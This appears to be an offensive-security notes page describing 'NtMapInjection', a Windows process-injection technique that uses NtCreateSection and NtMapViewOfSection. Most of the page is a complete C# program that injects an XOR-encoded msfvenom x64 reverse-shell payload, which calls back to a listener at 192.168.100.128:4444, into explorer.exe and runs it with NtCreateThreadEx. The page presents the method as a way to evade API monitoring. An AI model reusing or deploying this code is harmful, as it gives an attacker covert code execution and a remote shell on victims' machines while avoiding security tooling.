githubEdit

NtMapInjection

Explanation

This method utilizes NT native APIs to create a shared memory section and map it into both the local and remote process. It's stealthier than the classic method and avoids using easily-monitored APIs like WriteProcessMemory.

High-level steps

1.Create a memory section using NtCreateSection.

  1. Map the section into the local process using NtMapViewOfSection.

  2. Copy the shellcode into the local view.

  3. Map the same section into the remote process using NtMapViewOfSection.

  4. Create a remote thread in the target process with CreateRemoteThread or equivalent to execute the code.

Code

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace Inject
{
    class Program
    {
        private static readonly uint SECTION_MAP_READ = 0x0004;
        private static readonly uint SECTION_MAP_WRITE = 0x0002;
        private static readonly uint SECTION_MAP_EXECUTE = 0x0008;
        private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
        private static readonly uint SEC_COMMIT = 0x8000000;
        private static readonly uint PAGE_READWRITE = 0x04;
        private static readonly uint PAGE_READEXECUTE = 0x20;

        [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
        static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOffset, out int ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);

        [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
        static extern int NtClose(IntPtr hObject);

        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);


        static void Main(string[] args)
        {

            byte[] buf;
            IntPtr hremoteProcess = default;

            Process[] targetProcess = Process.GetProcessesByName("explorer"); //You can change it.
            hremoteProcess = OpenProcess(0x001F0FFF, false, targetProcess[0].Id);

            IntPtr hlocalProcess = Process.GetCurrentProcess().Handle;
            
            // x86 Payload: msfvenom -p windows/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
            // byte[] bufx64 = new byte[375] { 0x06, 0x12, 0x75, 0xFA, 0xFA, 0xFA, 0x9A, 0xCB, 0x28, 0x73, 0x1F, 0x9E, 0x71, 0xA8, 0xCA, 0x71, 0xA8, 0xF6, 0x71, 0xA8, 0xEE, 0xCB, 0x05, 0x71, 0x88, 0xD2, 0xF5, 0x4D, 0xB0, 0xDC, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0x3B, 0x35, 0xF7, 0xFB, 0x3D, 0xB3, 0x8F, 0x15, 0xA8, 0xAD, 0x71, 0xA8, 0xEA, 0x71, 0xB8, 0xC6, 0xFB, 0x2A, 0x71, 0xBA, 0x82, 0x7F, 0x3A, 0x8E, 0xB6, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0xAA, 0x71, 0xA2, 0xDA, 0xFB, 0x29, 0x7F, 0x33, 0x8E, 0xC6, 0xB3, 0x71, 0xCE, 0x71, 0xCB, 0x05, 0xFB, 0x2C, 0xCB, 0x3A, 0x56, 0x3B, 0x35, 0xF7, 0xFB, 0x3D, 0xC2, 0x1A, 0x8F, 0x0E, 0xF9, 0x87, 0x02, 0xC1, 0x87, 0xDE, 0x8F, 0x1A, 0xA2, 0x71, 0xA2, 0xDE, 0xFB, 0x29, 0x9C, 0x71, 0xF6, 0xB1, 0x71, 0xA2, 0xE6, 0xFB, 0x29, 0x71, 0xFE, 0x71, 0xFB, 0x2A, 0x73, 0xBE, 0xDE, 0xDE, 0xA1, 0xA1, 0x9B, 0xA3, 0xA0, 0xAB, 0x05, 0x1A, 0xA2, 0xA5, 0xA0, 0x71, 0xE8, 0x13, 0x7A, 0x05, 0x05, 0x05, 0xA7, 0x92, 0xC9, 0xC8, 0xFA, 0xFA, 0x92, 0x8D, 0x89, 0xC8, 0xA5, 0xAE, 0x92, 0xB6, 0x8D, 0xDC, 0xFD, 0x73, 0x12, 0x05, 0x2A, 0x42, 0x6A, 0xFB, 0xFA, 0xFA, 0xD3, 0x3E, 0xAE, 0xAA, 0x92, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0x92, 0x3A, 0x52, 0xC8, 0x9F, 0x92, 0xF8, 0xFA, 0xFB, 0x41, 0x73, 0x1C, 0xAA, 0xAA, 0xAA, 0xAA, 0xBA, 0xAA, 0xBA, 0xAA, 0x92, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0x6D, 0x90, 0xEA, 0xAC, 0xAD, 0x92, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0x05, 0xB4, 0xF2, 0x8F, 0x16, 0x12, 0x9D, 0xFA, 0xFA, 0xFA, 0x90, 0xFA, 0x90, 0xFE, 0xAC, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xCC, 0x71, 0xCC, 0x90, 0xBA, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xAC, 0x90, 0xFA, 0x92, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0x69, 0xA9, 0x90, 0xFA, 0xAC, 0xA9, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0x90, 0xFA, 0xAA, 0x92, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0x92, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xA4, 0xA4, 0x05, 0xF6, 0xDE, 0xF5, 0x7F, 0x8A, 0x05, 0x05, 0x05, 0x13, 0x61, 0x05, 0x05, 0x05, 0xFB, 0x39, 0xD3, 0x3C, 0x8F, 0x3B, 0x39, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0x92, 0x5C, 0x6F, 0x47, 0x67, 0x05, 0x2F, 0xC6, 0xFC, 0x86, 0xF0, 0x7A, 0x01, 0x1A, 0x8F, 0xFF, 0x41, 0xBD, 0xE9, 0x88, 0x95, 0x90, 0xFA, 0xA9, 0x05, 0x2F };

            // x64 Payload: msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
            byte[] bufx64 = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xBB, 0xAB, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0xBE, 0x71, 0xBA, 0xDA, 0xB3, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0x19, 0xAC, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0xC2, 0x1A, 0x8F, 0x0B, 0xB6, 0xF9, 0xB6, 0xDE, 0xF2, 0xBF, 0xC3, 0x2B, 0x8F, 0x22, 0xA2, 0xBE, 0x71, 0xBA, 0xDE, 0xB3, 0xFB, 0x2A, 0x9C, 0xBB, 0x71, 0xF6, 0xB2, 0xBE, 0x71, 0xBA, 0xE6, 0xB3, 0xFB, 0x2A, 0xBB, 0x71, 0xFE, 0x72, 0xBB, 0xA2, 0xBB, 0xA2, 0xA4, 0xB2, 0xFB, 0x2A, 0xA3, 0xA0, 0xBB, 0xA2, 0xBB, 0xA3, 0xBB, 0xA0, 0xB2, 0x79, 0x16, 0xDA, 0xBB, 0xA8, 0x05, 0x1A, 0xA2, 0xBB, 0xA3, 0xA0, 0xB2, 0x71, 0xE8, 0x13, 0xB1, 0x05, 0x05, 0x05, 0xA7, 0xB3, 0x44, 0x8D, 0x89, 0xC8, 0xA5, 0xC9, 0xC8, 0xFA, 0xFA, 0xBB, 0xAC, 0xB3, 0x73, 0x1C, 0xB2, 0x7B, 0x16, 0x5A, 0xFB, 0xFA, 0xFA, 0xB3, 0x73, 0x1F, 0xB3, 0x46, 0xF8, 0xFA, 0xFB, 0x41, 0x3A, 0x52, 0xD7, 0x39, 0xBB, 0xAE, 0xB3, 0x73, 0x1E, 0xB6, 0x73, 0x0B, 0xBB, 0x40, 0xB6, 0x8D, 0xDC, 0xFD, 0x05, 0x2F, 0xB6, 0x73, 0x10, 0x92, 0xFB, 0xFB, 0xFA, 0xFA, 0xA3, 0xBB, 0x40, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0xBB, 0xA4, 0xAA, 0xAA, 0xB7, 0xCB, 0x33, 0xB7, 0xCB, 0x3A, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x38, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x3B, 0xBB, 0x40, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0xB2, 0x73, 0x3D, 0x90, 0xEA, 0xBB, 0xA2, 0xB6, 0x73, 0x18, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0xB3, 0x05, 0x34, 0x8F, 0x1F, 0x12, 0x69, 0xFA, 0xFA, 0xFA, 0xB2, 0x79, 0x16, 0xEA, 0xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };

            buf = bufx64;

            int len = buf.Length;
            uint bufferLength = (uint)len;

            // Decode the payload
            for (int j = 0; j < bufx64.Length; j++)
            {
                bufx64[j] = (byte)((uint)bufx64[j] ^ 0xfa);
            }

            IntPtr sectionHandler = new IntPtr();

            long createSection = (int)NtCreateSection(ref sectionHandler, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref bufferLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);

            IntPtr localBaseAddress = new IntPtr();
            int sizeLocal = 4096;
            ulong offsetSectionLocal = new ulong();

            long mapSectionLocal = NtMapViewOfSection(sectionHandler, hlocalProcess, ref localBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionLocal, out sizeLocal, 2, 0, PAGE_READWRITE);

            var localBaseAddrString = string.Format("{0:X}", localBaseAddress);
            UInt64 localBaseAddrInt = UInt64.Parse(localBaseAddrString);
            string localBaseAddHex = localBaseAddrInt.ToString("x");


            IntPtr remoteBaseAddress = new IntPtr();
            int sizeRemote = 4096;
            ulong offsetSectionRemote = new ulong();
            long mapSectionRemote = NtMapViewOfSection(sectionHandler, hremoteProcess, ref remoteBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionRemote, out sizeRemote, 2, 0, PAGE_READEXECUTE);

            var remoteBaseAddrString = string.Format("{0:X}", remoteBaseAddress);
            UInt64 remoteBaseAddrInt = UInt64.Parse(remoteBaseAddrString);
            string remoteBaseAddHex = remoteBaseAddrInt.ToString("x");


            Marshal.Copy(buf, 0, localBaseAddress, buf.Length);

            unsafe
            {
                fixed (byte* p = &buf[0])
                {
                    byte* p2 = p;
                    var bufString = string.Format("{0:X}", new IntPtr(p2));
                    UInt64 bufInt = UInt64.Parse(bufString);
                    string bufHex = bufInt.ToString("x");

                }
            }

            List<int> threadList = new List<int>();
            ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
            foreach (ProcessThread thread in threadsBefore)
            {
                threadList.Add(thread.Id);
            }


            IntPtr hRemoteThread;

            uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, hremoteProcess, remoteBaseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

            ProcessThreadCollection threads = Process.GetProcessById(targetProcess[0].Id).Threads;

            uint unmapStatus = NtUnmapViewOfSection(hlocalProcess, localBaseAddress);

            int SectionStatus = NtClose(sectionHandler);
        }

        private static IntPtr NtOpenProcess(int id, int v, object value)
        {
            throw new NotImplementedException();
        }
    }
}

Last updated